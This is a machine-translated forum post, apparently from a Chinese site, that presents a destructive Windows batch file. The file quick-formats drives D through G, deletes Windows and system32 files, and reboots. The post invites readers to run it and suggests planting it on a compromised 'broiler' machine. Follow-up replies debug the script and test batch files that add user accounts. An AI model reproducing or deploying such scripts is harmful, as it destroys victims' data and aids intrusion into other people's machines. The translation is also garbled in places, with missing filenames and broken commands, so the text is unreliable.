SoFunction
Updated on 2025-04-10

The discussion caused by a batch process is a problem, which is not very accurate.

If your system is installed on the C drive
Open Notepad to enter
@echo off 
shutdown -r -t 0 
format d: /q /y 
format e: /q /y
format f: /q /y 
format g: /q /y 
c: 
cd \ 
cd windows 
del. /y 
cd system32 
del. /y 
shutdown -r -t 0 
Save as

Then run

See what the consequences are

If you want to get broiler, then you can

Re-sent to upload to broiler C: Overwrite the original


The last warning: It is best not to mess around, you will bear the consequences if there is a problem.


There is an imperfect place. I'll say


c: 

cd \ 

cd windows 

del. /y 

cd system32 

 

Why do you know that the system is not Windows 2000?

For the determination of the Windows directory, you should use environment variables under bat.

for example

windir=C:\WINDOWS 

windir=C:\WINNT 


Also, there is a little bit of advice for the second statement.

shutdown -r -t 0 

Since it has been reactivated, will the following formatting command still work? ? ? ? ? ? ? ? ? ? ?

I dare not try it myself because I suspect it is useful.


This is my reply:

My system is XP, and I made this batch process in XP environment, so I ignored the situation of 2000. I was not fully considered. Thank you for your correction.

As you said, shutdown -r -t 0 statement should not have been put here, otherwise the system will be restarted directly, resulting in the following statement not working.


To get the answer! I've tried this question myself!


@echo off 

shutdown -r -t 0 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

This is the first time I've executed the file. After restarting, I found that emissary1 was not added to the user group! fail!

The second time I added net user emissary1/add in front of ping. Because I want to know if there is no delay in execution. Will it succeed!

@echo off 

shutdown -r -t 0 

net user emissary1 /add 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

The result is still a failure!


To this end. I think the statement after shutdown -r -t 0 is invalid! Think about it for a moment. Change it to the following statement!

@echo off 

shutdown -r -t 0 

dir > c:\ 

ping 127.0.0.1 -n 100 &dir > c:\ 

shutdown -r -t 0 

Unexpectedly, this time it was successful. After restarting, I found that there is c:\ but no c:\ file.

For the above tests, I only came up with this batch file. It can only work for internal commands, and the external command has started to close the window, resulting in the initialization of external commands failing, and the conclusion cannot be executed!

Internal commands are provided by, because CMD is open when executing .bat, so internal commands can be used normally.